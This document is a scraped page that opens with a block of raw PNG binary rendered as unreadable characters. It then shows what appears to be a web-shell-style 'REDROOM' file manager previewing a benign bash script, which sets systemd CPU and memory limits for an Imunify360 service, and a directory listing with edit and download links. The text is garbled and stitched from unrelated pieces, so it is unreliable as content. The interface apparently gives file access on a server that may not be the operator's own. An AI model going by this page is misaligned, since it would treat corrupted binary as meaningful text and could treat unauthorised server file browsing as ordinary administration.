PNG  IHDR* pHYs+ IDATx]n#; cdLb Ǚ[at¤_:uP}>!Usă cag޿ ֵNu`ݼTâabO7uL&y^wFٝA"l[|ŲHLN밪4*sG3|Dv}?+y߉{OuOAt4Jj.u]Gz*҉sP'VQKbA1u\`& Af;HWj hsO;ogTu uj7S3/QzUr&wS`M$X_L7r2;aE+ώ%vikDA:dR+%KzƉo>eOth$z%: :{WwaQ:wz%4foɹE[9<]#ERINƻv溂E%P1i01 |Jvҗ&{b?9g=^wζXn/lK::90KwrюO\!ջ3uzuGv^;騢wq<Iatv09:tt~hEG`v;3@MNZD.1]L:{ծI3`L(÷ba")Y.iljCɄae#I"1 `3*Bdz>j<fU40⨬%O$3cGt]j%Fߠ_twJ;ABU8vP3uEԑwQ V:h%))LfraqX-ۿX]v-\9I gl8tzX ]ecm)-cgʒ#Uw=Wlێn(0hPP/ӨtQ“&J35 $=]r1{tLuǮ*i0_;NƝ8;-vݏr8+U-kruȕYr0RnC]*ެ(M:]gE;{]tg(#ZJ9y>utRDRMdr9㪩̞zֹb<ģ&wzJM"iI( .ꮅX)Qw:9,i좜\Ԛi7&N0:asϓc];=ΗOӣ APqz93 y $)A*kVHZwBƺnWNaby>XMN*45~ղM6Nvm;A=jֲ.~1}(9`KJ/V F9[=`~[;sRuk]rєT!)iQO)Y$V ی ۤmzWz5IM Zb )ˆC`6 rRa}qNmUfDsWuˤV{ Pݝ'=Kֳbg,UҘVz2ﴻnjNgBb{? ߮tcsͻQuxVCIY۠:(V뺕 ٥2;t`@Fo{Z9`;]wMzU~%UA蛚dI vGq\r82iu +St`cR.6U/M9IENDB` REDROOM
PHP 5.6.40
Preview: set-service-resources.sh Size: 1.98 KB
/usr/share/imunify360/scripts/set-service-resources.sh

#!/bin/bash
#
# Set or unset systemd service resource properties
#
# Usage: set-service-resources.sh SERVICE_NAME CPU_QUOTA MEMORY_HIGH
#
# Arguments:
#   SERVICE_NAME - Name of the systemd service (e.g., "imunify360.service")
#   CPU_QUOTA    - CPU quota value (e.g., "50" for 50%) or empty to unset
#   MEMORY_HIGH  - Memory high value (e.g., "50" for 50%) or empty to unset
#
# Examples:
#   set-service-resources.sh imunify360.service 50 50        # Set limits
#   set-service-resources.sh imunify360.service "" ""        # Unset limits
#

set -e

if [[ $# -ne 3 ]]; then
    echo "Usage: $0 SERVICE_NAME CPU_QUOTA MEMORY_HIGH" >&2
    echo "Example: $0 imunify360.service 50% 50%" >&2
    echo "Example: $0 imunify360.service \"\" \"\"  # to unset" >&2
    exit 1
fi

SERVICE_NAME="$1"
CPU_QUOTA="$2"
MEMORY_HIGH="$3"

if [[ -z "$SERVICE_NAME" ]]; then
    echo "Error: SERVICE_NAME cannot be empty" >&2
    exit 1
fi

get_systemd_version() {
    /bin/systemctl --version | head -n1 | grep -oE '[0-9]+' | head -n1
}

SYSTEMD_VERSION=$(get_systemd_version)
MEMORY_HIGH_MIN_VERSION=232


if [[ -n "$CPU_QUOTA" ]]; then
    echo "$SERVICE_NAME: Setting CPUQuota=$CPU_QUOTA%"
    /bin/systemctl set-property --runtime "$SERVICE_NAME" CPUQuota="$CPU_QUOTA%"
else
    echo "$SERVICE_NAME: Unsetting CPUQuota"
    /bin/systemctl set-property --runtime "$SERVICE_NAME" CPUQuota=
fi

if [[ "$SYSTEMD_VERSION" -ge "$MEMORY_HIGH_MIN_VERSION" ]]; then
    if [[ -n "$MEMORY_HIGH" ]]; then
        echo "$SERVICE_NAME: Setting MemoryHigh=$MEMORY_HIGH%"
        /bin/systemctl set-property --runtime "$SERVICE_NAME" MemoryHigh="$MEMORY_HIGH%"
    else
        echo "$SERVICE_NAME: Unsetting MemoryHigh"
        /bin/systemctl set-property --runtime "$SERVICE_NAME" MemoryHigh=
    fi
else
    if [[ -n "$MEMORY_HIGH" ]]; then
        echo "$SERVICE_NAME: MemoryHigh not supported on systemd v${SYSTEMD_VERSION} (requires v${MEMORY_HIGH_MIN_VERSION}+), skipping"
    fi
fi

echo "$SERVICE_NAME: Resource configuration completed"

exit 0

Directory Contents

Dirs: 0 × Files: 5

Name Size Perms Modified Actions
878 B lrwxr-xr-x 2025-11-27 10:46:49
Edit Download
2.39 KB lrwxr-xr-x 2025-11-27 10:46:49
Edit Download
4.06 MB lrwxr-xr-x 2025-10-02 10:39:00
Edit Download
1.98 KB lrwxr-xr-x 2025-11-27 10:46:49
Edit Download
6.57 MB lrwxr-xr-x 2025-11-27 10:46:52
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 REDROOM — Secure File Manager. All rights reserved. Built with ❤️ & Red Dark UI